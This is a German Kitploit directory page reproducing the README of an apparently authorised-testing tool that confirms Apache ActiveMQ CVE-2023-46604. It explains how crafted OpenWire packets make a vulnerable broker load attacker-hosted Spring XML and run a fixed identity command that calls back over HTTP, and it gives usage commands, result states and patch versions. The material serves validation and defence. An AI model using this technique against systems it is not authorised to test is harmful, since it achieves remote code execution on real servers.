Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ActiveMQ-CVE-2023-46604 — Nicht-destruktiver Validator für Apache ActiveMQ CVE-2023-46604. Sendet präparierte OpenWire-Pakete, nutzt einen HTTP-Callback-Server zur Bestätigung von RCE oder XML-Laden und erzeugt CSV/JSON-Nachweise für autorisierte Penetrationstests. | Kitploit
Tools/GitHubGitHub/bhanunamikaze/activemq-cve-2023-46604
SchwachstellenscannerSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubbhanunamikaze/activemq-cve-2023-46604

ActiveMQ-CVE-2023-46604

Nicht-destruktiver Validator für Apache ActiveMQ CVE-2023-46604. Sendet präparierte OpenWire-Pakete, nutzt einen HTTP-Callback-Server zur Bestätigung von RCE oder XML-Laden und erzeugt CSV/JSON-Nachweise für autorisierte Penetrationstests.

Repository anzeigen
14vor 22 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-46604 ActiveMQ Safe Validator

Ein einziges, nicht-destruktives Validator-Tool für Apache ActiveMQ CVE-2023-46604. Es startet einen eigenen HTTP-Callback-Server, generiert zielspezifisches Spring-XML im Speicher, sendet das präparierte OpenWire-Paket, korreliert Callbacks mit eindeutigen Tokens und schreibt CSV/JSON-Beweise.

Das Projekt ist für autorisierte Penetrationstests und Flottenvalidierung konzipiert. Es implementiert bewusst keine Reverse Shells, uneingeschränkte Befehlsausführung, CIDR-Erweiterung, Persistenz oder Payload-Staging.

Was der Validator beweist

Zwei feste Beweismodi sind verfügbar:

  • rce führt eine feste, schreibgeschützte Identitätsprüfung aus und gibt deren Ausgabe an den integrierten HTTP-Server zurück. Ein Callback bestätigt die Ausführung von Betriebssystembefehlen im ActiveMQ-Dienstkontext.
  • xml stellt einen leeren Spring-Kontext bereit. Ein Abruf bestätigt, dass die präparierte OpenWire-Nachricht das Ziel veranlasst hat, ClassPathXmlApplicationContext zu instanziieren und vom Angreifer kontrolliertes XML abzurufen, ohne einen Prozess zu starten.

Es müssen keine XML-Dateien erstellt oder separat gehostet werden.

Funktionen

  • Eine Python-Datei; nur Standardbibliothek
  • Integrierter Threaded-HTTP-Server
  • Dynamische, zielspezifische XML- und Callback-Tokens
  • Explizite Einzelziel- und Mehrziel-Eingabe
  • Begrenzte Parallelität und Sende-Wiederholungen
  • Unterstützung für einfaches OpenWire und TLS-gewrapptes OpenWire
  • Feste Linux- und Windows-Identitätsprüfungen
  • CSV-Beweise standardmäßig, optional JSON
  • Präzise Ergebniszustände, die falsche „nicht verwundbar“-Behauptungen vermeiden
  • CI-freundlicher --fail-on-vuln-Exit-Code

Anforderungen

  • Python 3.9 oder neuer
  • Netzwerkzugriff vom Testhost auf den OpenWire-Listener des Ziels
  • Netzwerkzugriff vom Ziel zurück zur integrierten HTTP-Callback-Adresse
  • Explizite Autorisierung für jedes Ziel

Der Standard-OpenWire-Port ist 61616, aber nicht standardmäßige Ports werden unterstützt.

Schnellstart

Verwenden Sie in den Beispielen nur dokumentationsbezogene Adressen; ersetzen Sie diese durch Ihre autorisierten Assets.

Einzelnes Linux-Ziel

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616 \
  --callback-host 192.0.2.50

Das Skript startet den Callback-Server automatisch auf TCP/8000, stellt das generierte XML bereit, sendet das OpenWire-Paket, wartet auf Beweise, gibt eine Ergebnistabelle aus und schreibt:

root@kitploit:~
activemq-cve-2023-46604-results.csv

Mehrere explizite Ziele

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target mq01.example.test:61616 \
  --target mq02.example.test:61616 \
  --target tcp://192.0.2.23:61500 \
  --callback-host 192.0.2.50 \
  --workers 4 \
  --json-output results.json

Zieldatei

Erstellen Sie targets.txt:

root@kitploit:~
# Ein explizit autorisierter Host pro Zeile
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617

Ausführen:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --http-port 8000 \
  --platform linux \
  --proof rce \
  --workers 8 \
  --wait 15 \
  --output findings.csv \
  --json-output findings.json

Zieldateien dürfen leere Zeilen und Kommentare enthalten, die mit # beginnen. Die CIDR-Erweiterung wird absichtlich nicht unterstützt; enumerieren Sie das autorisierte Inventar explizit.

Automatische Callback-Adresserkennung

Für einfache geroutete Netzwerke lassen Sie --callback-host weg:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616

Das Tool wählt die lokale Quelladresse aus, die für das Routing zum ersten Ziel verwendet wird. Geben Sie --callback-host an, wenn Sie über NAT, VPNs, Container, Jump-Hosts oder Systeme mit mehreren Netzwerkschnittstellen testen.

ActiveMQ auf Windows

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.30:61616 \
  --callback-host 192.0.2.50 \
  --platform windows \
  --proof rce

Die Windows-Prüfung verwendet einen festen, nicht-interaktiven PowerShell-Befehl, um die Dienstidentität, den Computernamen und die OS-Version zurückzugeben. Sie stellt keine interaktive Shell bereit.

Nur XML-Lade-Validierung

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --proof xml

Dieser Modus instanziiert kein ProcessBuilder.

TLS-gewrapptes OpenWire

Verwenden Sie ein ssl://-Ziel:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50

Für einen internen Listener mit einem nicht vertrauenswürdigen Zertifikat:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50 \
  --tls-no-verify

--tls-no-verify betrifft nur die OpenWire-TLS-Verbindung. Der Callback-Server ist HTTP.

Ergebniszustände

StatusBedeutung
CONFIRMED_VULNERABLE_RCEDas Ziel hat sein XML abgerufen und der feste Identitätsbefehl hat Beweise zurückgegeben.
CONFIRMED_VULNERABLE_XML_LOADIm xml-Modus hat das Ziel das eindeutige XML-Dokument abgerufen.
VULNERABLE_XML_LOAD_ONLYIm rce-Modus erfolgte der XML-Abruf, aber der Befehls-Callback nicht. Der verwundbare Klasseninstanziierungspfad ist bestätigt; Callback-Tooling, Egress oder Prozessausführung können eingeschränkt sein.
NOT_CONFIRMEDDas Paket wurde gesendet, aber vor Ablauf der Frist traf keine korrelierte HTTP-Beweisführung ein. Dies ist kein Beweis dafür, dass der Host gepatcht ist.
UNREACHABLEDie TCP/TLS-Verbindung oder das Senden des Pakets ist fehlgeschlagen.

Ein gepatchter Broker, ein falscher Port, Egress-Filterung, Routing-Probleme, TLS-Abweichungen und Endpunktkontrollen können alle die Callback-basierte Validierung beeinflussen. Bewahren Sie die CSV/JSON-Zeitstempel und die Callback-Ausgabe als Berichtsnachweise auf.

Feste Identitätsbeweise

Die Linux-Identitätsprüfung gibt eine Ausgabe ähnlich der folgenden zurück:

root@kitploit:~
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...

Sie versucht curl, wget und BusyBox wget für den HTTP-POST. Wenn das XML abgerufen wird, aber keiner dieser Clients verfügbar ist, lautet das Ergebnis VULNERABLE_XML_LOAD_ONLY statt eines falsch negativen Ergebnisses.

Exit-Codes

  • 0: Validierung abgeschlossen, oder Schwachstellen wurden ohne --fail-on-vuln gefunden
  • 2: Mindestens ein verwundbares Ergebnis wurde gefunden und --fail-on-vuln wurde angegeben
  • argparse-Fehler verwenden den normalen Nicht-Null-Befehlszeilen-Fehlercode

Beispiel für CI-Nutzung:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --fail-on-vuln

So funktioniert es

CVE-2023-46604 betrifft das Java-OpenWire-Unmarshalling. Der Validator sendet eine lose marshallierte OpenWire-ExceptionResponse, deren Ausnahmeklasse lautet:

root@kitploit:~
org.springframework.context.support.ClassPathXmlApplicationContext

Die Ausnahmemeldung ist die eindeutige URL des generierten Spring-XML. Verwundbarer ActiveMQ-Code instanziiert die vom Angreifer ausgewählte Klasse mit dieser URL. Im rce-Modus startet der Spring-Kontext eine feste ProcessBuilder-Prüfung; im xml-Modus ist der Kontext leer.

Jedes Ziel erhält ein anderes Token, zum Beispiel:

root@kitploit:~
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>

Dadurch können gleichzeitige Callbacks dem richtigen Ziel zugeordnet werden.

Befehlsreferenz

root@kitploit:~
--authorized                 Erforderliche Autorisierungsbestätigung
-t, --target VALUE           Explizites Ziel; wiederholbar
-T, --targets-file FILE      Ein explizites Ziel pro Zeile; wiederholbar
--default-port PORT          Standard 61616
--tls                        TLS für alle Ziele verwenden
--tls-no-verify              OpenWire-TLS-Zertifikatsvalidierung deaktivieren
--callback-host HOST         Adresse, die Ziele für HTTP-Callbacks verwenden
--bind-host HOST             Lokale HTTP-Bind-Adresse; Standard 0.0.0.0
--http-port PORT             Lokaler HTTP-Port; Standard 8000; 0 wählt einen freien Port
--proof rce|xml         Fester Beweismodus; Standard rce
--platform linux|windows     Ziel-OS für den RCE-Modus; Standard linux
--workers N                  Parallele Worker; maximal 32
--connect-timeout SECONDS    TCP/TLS-Timeout
--wait SECONDS               Callback-Sammelfenster
--retries N                  Ein bis drei Paket-Sendeversuche
--retry-delay SECONDS        Verzögerung zwischen Versuchen
-o, --output FILE            CSV-Beweisziel
--json-output FILE           Optionales JSON-Ziel
--verbose                    HTTP-Anforderungsprotokolle anzeigen
--fail-on-vuln               Exit 2, wenn ein verwundbares Ergebnis gefunden wird

Testen

root@kitploit:~
python3 -m unittest discover -s tests -v

Die Tests verifizieren die Zielanalyse, CIDR-Ablehnung, XML-Wohlgeformtheit und die OpenWire-Frame-Struktur, ohne ein Ziel zu kontaktieren.

Behebung

Upgraden Sie ActiveMQ auf eine gepatchte und aktuell unterstützte Version. Das Apache-Advisory identifizierte gepatchte Versionen für die damals aktuellen Zweige als ActiveMQ 5.15.16, 5.16.7, 5.17.6, 5.18.3 und 6.0.0 sowie Artemis 2.31.2. Beschränken Sie außerdem OpenWire-Listener auf vertrauenswürdige Clients und überwachen Sie auf unerwartete ausgehende XML-Abrufe.

Sicherheit und Umfang

Dieses Repository dient der defensiven Validierung und autorisierten Sicherheitsbewertungen. Es lässt absichtlich Folgendes aus:

  • Reverse-Shell-Payloads
  • Beliebige --command-Ausführung
  • Ausführbare Dateien oder Skript-Staging
  • Persistenz
  • Authentifizierungsangriffe
  • CIDR/Bereichserweiterung

Die feste Identitätsprüfung reicht aus, um Remote-Codeausführung und die Auswirkungen auf das Dienstkonto nachzuweisen, ohne interaktiven Zugriff herzustellen.

Referenzen

  • Apache ActiveMQ: https://activemq.apache.org/news/cve-2023-46604
  • Apache ActiveMQ-Sicherheitsadvisories: https://activemq.apache.org/components/classic/security
  • Apache ActiveMQ-Quellcode: https://github.com/apache/activemq
  • Vulhub-Lab: https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604

Lizenz

MIT. Siehe LICENSE.

Tool herunterladen